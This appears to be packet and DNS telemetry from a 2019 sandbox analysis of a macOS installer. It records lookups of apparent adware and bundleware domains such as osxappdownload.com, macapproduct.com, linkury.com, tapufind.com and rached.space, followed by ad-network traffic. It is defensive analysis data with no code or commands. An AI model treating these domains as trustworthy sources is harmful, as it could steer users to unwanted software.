Feb 14, 2019 12:59:46.081896067 MEZ	53	60326	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:46.094085932 MEZ	53	60326	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:46.409553051 MEZ	56868	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:46.409739971 MEZ	56272	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:46.461474895 MEZ	53	56868	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:46.462258101 MEZ	56272	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:46.487703085 MEZ	53	56272	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:46.490865946 MEZ	53	56272	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:48.721163034 MEZ	63057	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:48.752259970 MEZ	53	63057	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:49.044747114 MEZ	52391	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:49.077313900 MEZ	53	52391	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:49.345463037 MEZ	62498	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:49.376446009 MEZ	53	62498	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:54.172792912 MEZ	59266	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:54.178195953 MEZ	53	59266	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:54.866991997 MEZ	58369	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:54.871820927 MEZ	53	58369	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:55.424647093 MEZ	63849	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:55.467812061 MEZ	53	63849	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:01.959498882 MEZ	49851	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:01.985105038 MEZ	53	49851	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:06.349956989 MEZ	57957	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:06.376281977 MEZ	53	57957	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:08.125245094 MEZ	60233	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:08.130330086 MEZ	53	60233	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:09.673468113 MEZ	56617	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:09.678492069 MEZ	53	56617	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:12.167284966 MEZ	50137	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:12.222249985 MEZ	53	50137	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:12.234568119 MEZ	55994	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:12.255486965 MEZ	57406	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:12.255541086 MEZ	53	55994	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:12.286813974 MEZ	53	57406	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:13.076534033 MEZ	53974	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:13.108680964 MEZ	53	53974	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:13.923825026 MEZ	52716	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:13.924873114 MEZ	51858	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:13.928689003 MEZ	53	52716	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:13.930319071 MEZ	53	51858	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:13.930913925 MEZ	52149	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:13.950603008 MEZ	53	52149	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:14.541960955 MEZ	55034	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:14.562488079 MEZ	53	55034	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:15.066903114 MEZ	55832	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:15.072702885 MEZ	53	55832	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:15.433187962 MEZ	65228	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:15.438647032 MEZ	53	65228	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:15.526182890 MEZ	52855	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:15.531932116 MEZ	53	52855	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:15.583317995 MEZ	54864	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:15.583453894 MEZ	53027	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:15.619301081 MEZ	53	53027	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:15.619859934 MEZ	53	54864	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:15.660923958 MEZ	56519	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:15.662293911 MEZ	55138	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:15.667542934 MEZ	53	55138	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:15.794235945 MEZ	53	56519	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:15.958779097 MEZ	53694	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:15.964343071 MEZ	53	53694	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:16.099292994 MEZ	50139	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:16.100502014 MEZ	50554	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:16.104360104 MEZ	53	50139	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:16.130845070 MEZ	53	50554	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:16.172178030 MEZ	53579	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:16.177458048 MEZ	53	53579	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:16.310261965 MEZ	50923	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:16.315123081 MEZ	53	50923	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:16.451528072 MEZ	50035	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:16.456372976 MEZ	53	50035	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:16.468836069 MEZ	61103	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:16.494940996 MEZ	53	61103	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:16.684096098 MEZ	49901	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:16.709638119 MEZ	53	49901	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:17.000111103 MEZ	60342	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:17.005183935 MEZ	53	60342	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:17.108802080 MEZ	60970	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:17.109267950 MEZ	59788	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:17.113761902 MEZ	53	60970	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:17.134685993 MEZ	53	59788	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:17.208070040 MEZ	51987	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:17.212793112 MEZ	53	51987	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:57.016992092 MEZ	55012	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:57.022806883 MEZ	53	55012	8.8.8.8	192.168.0.50

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Feb 14, 2019 12:59:45.287038088 MEZ	192.168.0.50	8.8.8.8	1467	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Feb 14, 2019 12:59:30.992110014 MEZ	192.168.0.50	8.8.8.8	0xa517	Standard query (0)	install.osxappdownload.com	A (IP address)	IN (0x0001)
Feb 14, 2019 12:59:30.992188931 MEZ	192.168.0.50	8.8.8.8	0x4b71	Standard query (0)	install.osxappdownload.com	28	IN (0x0001)
Feb 14, 2019 12:59:31.043059111 MEZ	192.168.0.50	8.8.8.8	0x4b71	Standard query (0)	publishcontroller.cloudapp.net	28	IN (0x0001)
Feb 14, 2019 12:59:31.148624897 MEZ	192.168.0.50	8.8.8.8	0x2f1b	Standard query (0)	cdn.macapproduct.com	A (IP address)	IN (0x0001)
Feb 14, 2019 12:59:31.148746967 MEZ	192.168.0.50	8.8.8.8	0x9690	Standard query (0)	cdn.macapproduct.com	28	IN (0x0001)
Feb 14, 2019 12:59:37.139636040 MEZ	192.168.0.50	8.8.8.8	0x4b92	Standard query (0)	s3.us-west-1.amazonaws.com	A (IP address)	IN (0x0001)
Feb 14, 2019 12:59:37.139761925 MEZ	192.168.0.50	8.8.8.8	0x7f19	Standard query (0)	s3.us-west-1.amazonaws.com	28	IN (0x0001)
Feb 14, 2019 12:59:45.200376987 MEZ	192.168.0.50	8.8.8.8	0x14ab	Standard query (0)	www.pintaj.pw	A (IP address)	IN (0x0001)
Feb 14, 2019 12:59:45.200495958 MEZ	192.168.0.50	8.8.8.8	0xd649	Standard query (0)	www.pintaj.pw	28	IN (0x0001)
Feb 14, 2019 12:59:45.248718023 MEZ	192.168.0.50	8.8.8.8	0xd649	Standard query (0)	defrnav65y4-1114559879.us-west-2.elb.amazonaws.com	28	IN (0x0001)
Feb 14, 2019 12:59:45.598284006 MEZ	192.168.0.50	8.8.8.8	0x5a97	Standard query (0)	tusak.rached.space	A (IP address)	IN (0x0001)
Feb 14, 2019 12:59:45.598376989 MEZ	192.168.0.50	8.8.8.8	0x130a	Standard query (0)	tusak.rached.space	28	IN (0x0001)
Feb 14, 2019 12:59:45.642610073 MEZ	192.168.0.50	8.8.8.8	0x130a	Standard query (0)	defl7uh65-818917787.us-west-2.elb.amazonaws.com	28	IN (0x0001)
Feb 14, 2019 12:59:46.012825966 MEZ	192.168.0.50	8.8.8.8	0xdba5	Standard query (0)	www.rached.space	A (IP address)	IN (0x0001)
Feb 14, 2019 12:59:46.013782978 MEZ	192.168.0.50	8.8.8.8	0x1e5b	Standard query (0)	www.rached.space	28	IN (0x0001)
Feb 14, 2019 12:59:46.062338114 MEZ	192.168.0.50	8.8.8.8	0x1e5b	Standard query (0)	deft54yewt-330710043.us-west-2.elb.amazonaws.com	28	IN (0x0001)
Feb 14, 2019 12:59:46.409553051 MEZ	192.168.0.50	8.8.8.8	0xce8d	Standard query (0)	www.oplurb.space	A (IP address)	IN (0x0001)
Feb 14, 2019 12:59:46.409739971 MEZ	192.168.0.50	8.8.8.8	0x5d22	Standard query (0)	www.oplurb.space	28	IN (0x0001)
Feb 14, 2019 12:59:46.462258101 MEZ	192.168.0.50	8.8.8.8	0x5d22	Standard query (0)	i16-914623523.us-west-2.elb.amazonaws.com	28	IN (0x0001)
Feb 14, 2019 12:59:48.721163034 MEZ	192.168.0.50	8.8.8.8	0xd0ff	Standard query (0)	cloud-search.linkury.com	A (IP address)	IN (0x0001)
Feb 14, 2019 12:59:49.044747114 MEZ	192.168.0.50	8.8.8.8	0x5b66	Standard query (0)	svc-stats.linkury.com	A (IP address)	IN (0x0001)
Feb 14, 2019 12:59:49.345463037 MEZ	192.168.0.50	8.8.8.8	0xb949	Standard query (0)	stats.hkijngy.me	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:01.959498882 MEZ	192.168.0.50	8.8.8.8	0xb1a1	Standard query (0)	stats.macapproduct.com	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:12.167284966 MEZ	192.168.0.50	8.8.8.8	0xc6b1	Standard query (0)	search.tapufind.com	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:12.255486965 MEZ	192.168.0.50	8.8.8.8	0xb2c8	Standard query (0)	madmax.macapproduct.com	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:13.076534033 MEZ	192.168.0.50	8.8.8.8	0x6fee	Standard query (0)	feed.tapufind.com	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:13.923825026 MEZ	192.168.0.50	8.8.8.8	0x2754	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:14.541960955 MEZ	192.168.0.50	8.8.8.8	0x3835	Standard query (0)	display.online-adnetwork.com	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:15.066903114 MEZ	192.168.0.50	8.8.8.8	0x96a3	Standard query (0)	static.criteo.net	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:15.433187962 MEZ	192.168.0.50	8.8.8.8	0x61a4	Standard query (0)	cas.criteo.com	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:15.526182890 MEZ	192.168.0.50	8.8.8.8	0xcb47	Standard query (0)	cat.fr.eu.criteo.com	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:15.583317995 MEZ	192.168.0.50	8.8.8.8	0x4fb1	Standard query (0)	tapufind.com	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:15.583453894 MEZ	192.168.0.50	8.8.8.8	0x35e4	Standard query (0)	tab.tapufind.com	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:15.660923958 MEZ	192.168.0.50	8.8.8.8	0x5a02	Standard query (0)	www.1-1ads.com	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:15.662293911 MEZ	192.168.0.50	8.8.8.8	0x4e4e	Standard query (0)	gum.criteo.com	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:15.958779097 MEZ	192.168.0.50	8.8.8.8	0x5cd1	Standard query (0)	kes.gbc.criteo.com	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:16.099292994 MEZ	192.168.0.50	8.8.8.8	0xd35e	Standard query (0)	ocsp.int-x3.letsencrypt.org	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:16.172178030 MEZ	192.168.0.50	8.8.8.8	0x258d	Standard query (0)	ag.gbc.criteo.com	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:16.310261965 MEZ	192.168.0.50	8.8.8.8	0x784d	Standard query (0)	gem.gbc.criteo.com	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:16.451528072 MEZ	192.168.0.50	8.8.8.8	0x4d26	Standard query (0)	csm.nl.eu.criteo.net	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:16.468836069 MEZ	192.168.0.50	8.8.8.8	0xbbd2	Standard query (0)	aff.bstatic.com	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:16.684096098 MEZ	192.168.0.50	8.8.8.8	0x2516	Standard query (0)	www.booking.com	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:17.000111103 MEZ	192.168.0.50	8.8.8.8	0xd0f3	Standard query (0)	s-ec.bstatic.com	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:17.108802080 MEZ	192.168.0.50	8.8.8.8	0x4d23	Standard query (0)	r.bstatic.com	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:17.109267950 MEZ	192.168.0.50	8.8.8.8	0xd126	Standard query (0)	q.bstatic.com	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:17.208070040 MEZ	192.168.0.50	8.8.8.8	0xf0a8	Standard query (0)	t-ec.bstatic.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Feb 14, 2019 12:59:31.039836884 MEZ	8.8.8.8	192.168.0.50	0xa517	No error (0)	install.osxappdownload.com	publishcontroller.cloudapp.net		CNAME (Canonical name)	IN (0x0001)
Feb 14, 2019 12:59:31.039836884 MEZ	8.8.8.8	192.168.0.50	0xa517	No error (0)	publishcontroller.cloudapp.net		52.174.148.190	A (IP address)	IN (0x0001)
Feb 14, 2019 12:59:31.083496094 MEZ	8.8.8.8	192.168.0.50	0x4b71	No error (0)	install.osxappdownload.com	publishcontroller.cloudapp.net		CNAME (Canonical name)	IN (0x0001)
Feb 14, 2019 12:59:31.167860985 MEZ	8.8.8.8	192.168.0.50	0x2f1b	No error (0)	cdn.macapproduct.com	p9d5b7h7.ssl.hwcdn.net		CNAME (Canonical name)	IN (0x0001)
Feb 14, 2019 12:59:31.182599068 MEZ	8.8.8.8	192.168.0.50	0x9690	No error (0)	cdn.macapproduct.com	p9d5b7h7.ssl.hwcdn.net		CNAME (Canonical name)	IN (0x0001)
Feb 14, 2019 12:59:37.159153938 MEZ	8.8.8.8	192.168.0.50	0x4b92	No error (0)	s3.us-west-1.amazonaws.com		52.219.28.25	A (IP address)	IN (0x0001)
Feb 14, 2019 12:59:45.246191025 MEZ	8.8.8.8	192.168.0.50	0x14ab	No error (0)	www.pintaj.pw	defrnav65y4-1114559879.us-west-2.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)
Feb 14, 2019 12:59:45.246191025 MEZ	8.8.8.8	192.168.0.50	0x14ab	No error (0)	defrnav65y4-1114559879.us-west-2.elb.amazonaws.com		52.40.4.65	A (IP address)	IN (0x0001)
Feb 14, 2019 12:59:45.246191025 MEZ	8.8.8.8	192.168.0.50	0x14ab	No error (0)	defrnav65y4-1114559879.us-west-2.elb.amazonaws.com		52.11.184.28	A (IP address)	IN (0x0001)
Feb 14, 2019 12:59:45.285307884 MEZ	8.8.8.8	192.168.0.50	0xd649	No error (0)	www.pintaj.pw	defrnav65y4-1114559879.us-west-2.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)
Feb 14, 2019 12:59:45.640680075 MEZ	8.8.8.8	192.168.0.50	0x5a97	No error (0)	tusak.rached.space	defl7uh65-818917787.us-west-2.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)
Feb 14, 2019 12:59:45.640680075 MEZ	8.8.8.8	192.168.0.50	0x5a97	No error (0)	defl7uh65-818917787.us-west-2.elb.amazonaws.com		35.162.20.150	A (IP address)	IN (0x0001)
Feb 14, 2019 12:59:45.640680075 MEZ	8.8.8.8	192.168.0.50	0x5a97	No error (0)	defl7uh65-818917787.us-west-2.elb.amazonaws.com		52.35.231.241	A (IP address)	IN (0x0001)
Feb 14, 2019 12:59:45.671312094 MEZ	8.8.8.8	192.168.0.50	0x130a	No error (0)	tusak.rached.space	defl7uh65-818917787.us-west-2.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)
Feb 14, 2019 12:59:46.060003996 MEZ	8.8.8.8	192.168.0.50	0xdba5	No error (0)	www.rached.space	deft54yewt-330710043.us-west-2.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)
Feb 14, 2019 12:59:46.060003996 MEZ	8.8.8.8	192.168.0.50	0xdba5	No error (0)	deft54yewt-330710043.us-west-2.elb.amazonaws.com		35.161.68.49	A (IP address)	IN (0x0001)
Feb 14, 2019 12:59:46.060003996 MEZ	8.8.8.8	192.168.0.50	0xdba5	No error (0)	deft54yewt-330710043.us-west-2.elb.amazonaws.com		52.43.54.193	A (IP address)	IN (0x0001)
Feb 14, 2019 12:59:46.081896067 MEZ	8.8.8.8	192.168.0.50	0x1e5b	No error (0)	www.rached.space	deft54yewt-330710043.us-west-2.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)
Feb 14, 2019 12:59:46.461474895 MEZ	8.8.8.8	192.168.0.50	0xce8d	No error (0)	www.oplurb.space	i16-914623523.us-west-2.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)
Feb 14, 2019 12:59:46.461474895 MEZ	8.8.8.8	192.168.0.50	0xce8d	No error (0)	i16-914623523.us-west-2.elb.amazonaws.com		52.89.234.147	A (IP address)	IN (0x0001)
Feb 14, 2019 12:59:46.461474895 MEZ	8.8.8.8	192.168.0.50	0xce8d	No error (0)	i16-914623523.us-west-2.elb.amazonaws.com		35.160.7.189	A (IP address)	IN (0x0001)
Feb 14, 2019 12:59:46.487703085 MEZ	8.8.8.8	192.168.0.50	0x5d22	No error (0)	www.oplurb.space	i16-914623523.us-west-2.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)
Feb 14, 2019 12:59:48.752259970 MEZ	8.8.8.8	192.168.0.50	0xd0ff	No error (0)	cloud-search.linkury.com	linkury-webcomponents.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)
Feb 14, 2019 12:59:48.752259970 MEZ	8.8.8.8	192.168.0.50	0xd0ff	No error (0)	linkury-webcomponents-southcentralus.cloudapp.net		65.52.32.169	A (IP address)	IN (0x0001)
Feb 14, 2019 12:59:49.077313900 MEZ	8.8.8.8	192.168.0.50	0x5b66	No error (0)	svc-stats.linkury.com	linkury-services-stats.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)
Feb 14, 2019 12:59:49.077313900 MEZ	8.8.8.8	192.168.0.50	0x5b66	No error (0)	linkury-bumbleb-statisticsservice-new-southcentralus.cloudapp.net		13.66.51.223	A (IP address)	IN (0x0001)
Feb 14, 2019 12:59:49.376446009 MEZ	8.8.8.8	192.168.0.50	0xb949	No error (0)	stats.hkijngy.me	linkury-services-stats.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)
Feb 14, 2019 12:59:49.376446009 MEZ	8.8.8.8	192.168.0.50	0xb949	No error (0)	linkury-bumbleb-statisticsservice-new-southcentralus.cloudapp.net		13.66.51.223	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:01.985105038 MEZ	8.8.8.8	192.168.0.50	0xb1a1	No error (0)	stats.macapproduct.com	svc-stats.linkury.com		CNAME (Canonical name)	IN (0x0001)
Feb 14, 2019 13:00:01.985105038 MEZ	8.8.8.8	192.168.0.50	0xb1a1	No error (0)	svc-stats.linkury.com	linkury-services-stats.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)
Feb 14, 2019 13:00:01.985105038 MEZ	8.8.8.8	192.168.0.50	0xb1a1	No error (0)	linkury-bumbleb-statisticsservice-new-southcentralus.cloudapp.net		13.66.51.223	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:12.222249985 MEZ	8.8.8.8	192.168.0.50	0xc6b1	No error (0)	search.tapufind.com	snapdo-searchportal.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)
Feb 14, 2019 13:00:12.222249985 MEZ	8.8.8.8	192.168.0.50	0xc6b1	No error (0)	searchportal-southcentralus.cloudapp.net		13.66.51.37	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:12.286813974 MEZ	8.8.8.8	192.168.0.50	0xb2c8	No error (0)	madmax.macapproduct.com	cloud-search.linkury.com		CNAME (Canonical name)	IN (0x0001)
Feb 14, 2019 13:00:12.286813974 MEZ	8.8.8.8	192.168.0.50	0xb2c8	No error (0)	cloud-search.linkury.com	linkury-webcomponents.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)
Feb 14, 2019 13:00:12.286813974 MEZ	8.8.8.8	192.168.0.50	0xb2c8	No error (0)	linkury-webcomponents-southcentralus.cloudapp.net		65.52.32.169	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:13.108680964 MEZ	8.8.8.8	192.168.0.50	0x6fee	No error (0)	feed.tapufind.com	snapdo-feedrouter.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)
Feb 14, 2019 13:00:13.108680964 MEZ	8.8.8.8	192.168.0.50	0x6fee	No error (0)	feedrouter-southcentralus.cloudapp.net		13.84.45.249	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:13.928689003 MEZ	8.8.8.8	192.168.0.50	0x2754	No error (0)	code.jquery.com	cds.s5x3j6q5.hwcdn.net		CNAME (Canonical name)	IN (0x0001)
Feb 14, 2019 13:00:14.562488079 MEZ	8.8.8.8	192.168.0.50	0x3835	No error (0)	display.online-adnetwork.com	online-adnetwork.cpm.ak-is2.net		CNAME (Canonical name)	IN (0x0001)
Feb 14, 2019 13:00:14.562488079 MEZ	8.8.8.8	192.168.0.50	0x3835	No error (0)	online-adnetwork.cpm.ak-is2.net	1.cpm.ak-is2.net		CNAME (Canonical name)	IN (0x0001)
Feb 14, 2019 13:00:14.562488079 MEZ	8.8.8.8	192.168.0.50	0x3835	No error (0)	1.cpm.ak-is2.net		77.245.58.158	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:14.562488079 MEZ	8.8.8.8	192.168.0.50	0x3835	No error (0)	1.cpm.ak-is2.net		77.245.58.151	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:15.072702885 MEZ	8.8.8.8	192.168.0.50	0x96a3	No error (0)	static.criteo.net		178.250.0.130	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:15.438647032 MEZ	8.8.8.8	192.168.0.50	0x61a4	No error (0)	cas.criteo.com		178.250.0.145	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:15.531932116 MEZ	8.8.8.8	192.168.0.50	0xcb47	No error (0)	cat.fr.eu.criteo.com		178.250.0.160	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:15.619301081 MEZ	8.8.8.8	192.168.0.50	0x35e4	No error (0)	tab.tapufind.com	webinstaller.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)
Feb 14, 2019 13:00:15.619301081 MEZ	8.8.8.8	192.168.0.50	0x35e4	No error (0)	webinstaller.azurewebsites.net	waws-prod-ch1-007.vip.azurewebsites.windows.net		CNAME (Canonical name)	IN (0x0001)
Feb 14, 2019 13:00:15.619301081 MEZ	8.8.8.8	192.168.0.50	0x35e4	No error (0)	waws-prod-ch1-007.vip.azurewebsites.windows.net	waws-prod-ch1-007.cloudapp.net		CNAME (Canonical name)	IN (0x0001)
Feb 14, 2019 13:00:15.619301081 MEZ	8.8.8.8	192.168.0.50	0x35e4	No error (0)	waws-prod-ch1-007.cloudapp.net		23.101.169.175	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:15.619859934 MEZ	8.8.8.8	192.168.0.50	0x4fb1	No error (0)	tapufind.com		40.74.245.188	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:15.667542934 MEZ	8.8.8.8	192.168.0.50	0x4e4e	No error (0)	gum.criteo.com		178.250.2.146	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:15.794235945 MEZ	8.8.8.8	192.168.0.50	0x5a02	No error (0)	www.1-1ads.com	n135adserv.com		CNAME (Canonical name)	IN (0x0001)
Feb 14, 2019 13:00:15.794235945 MEZ	8.8.8.8	192.168.0.50	0x5a02	No error (0)	n135adserv.com		74.117.182.93	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:15.964343071 MEZ	8.8.8.8	192.168.0.50	0x5cd1	No error (0)	kes.gbc.criteo.com		185.235.84.148	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:16.104360104 MEZ	8.8.8.8	192.168.0.50	0xd35e	No error (0)	ocsp.int-x3.letsencrypt.org	ocsp.int-x3.letsencrypt.org.edgesuite.net		CNAME (Canonical name)	IN (0x0001)
Feb 14, 2019 13:00:16.104360104 MEZ	8.8.8.8	192.168.0.50	0xd35e	No error (0)	a771.dscq.akamai.net		95.100.97.91	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:16.104360104 MEZ	8.8.8.8	192.168.0.50	0xd35e	No error (0)	a771.dscq.akamai.net		95.100.97.96	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:16.130845070 MEZ	8.8.8.8	192.168.0.50	0xd673	No error (0)	a279.dscq.akamai.net		23.10.249.168	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:16.130845070 MEZ	8.8.8.8	192.168.0.50	0xd673	No error (0)	a279.dscq.akamai.net		23.10.249.146	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:16.177458048 MEZ	8.8.8.8	192.168.0.50	0x258d	No error (0)	ag.gbc.criteo.com		185.235.84.37	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:16.315123081 MEZ	8.8.8.8	192.168.0.50	0x784d	No error (0)	gem.gbc.criteo.com		185.235.84.23	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:16.456372976 MEZ	8.8.8.8	192.168.0.50	0x4d26	No error (0)	csm.nl.eu.criteo.net		178.250.2.150	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:16.494940996 MEZ	8.8.8.8	192.168.0.50	0xbbd2	No error (0)	aff.bstatic.com	www.lb.bstatic.com		CNAME (Canonical name)	IN (0x0001)
Feb 14, 2019 13:00:16.494940996 MEZ	8.8.8.8	192.168.0.50	0xbbd2	No error (0)	www.lb.bstatic.com		5.57.17.90	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:16.709638119 MEZ	8.8.8.8	192.168.0.50	0x2516	No error (0)	www.booking.com	www.c.booking.com		CNAME (Canonical name)	IN (0x0001)
Feb 14, 2019 13:00:16.709638119 MEZ	8.8.8.8	192.168.0.50	0x2516	No error (0)	www.c.booking.com		5.57.17.220	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:17.005183935 MEZ	8.8.8.8	192.168.0.50	0xd0f3	No error (0)	s-ec.bstatic.com	cs715.wac.edgecastcdn.net		CNAME (Canonical name)	IN (0x0001)
Feb 14, 2019 13:00:17.005183935 MEZ	8.8.8.8	192.168.0.50	0xd0f3	No error (0)	cs715.wac.edgecastcdn.net		192.229.133.51	A (IP address)	IN (0x0001)
Feb 14, 2019 13:00:17.113761902 MEZ	8.8.8.8	192.168.0.50	0x4d23	No error (0)	r.bstatic.com	r.lb.bstatic.com		CNAME (Canonical name)	IN (0x0001)
Feb 14, 2019 13:00:17.113761902 MEZ	8.8.8.8	192.168.0.50	0x4d23	No error (0)	r.lb.bstatic.com		5.57.16.100	A (IP address)	IN (0x0001)
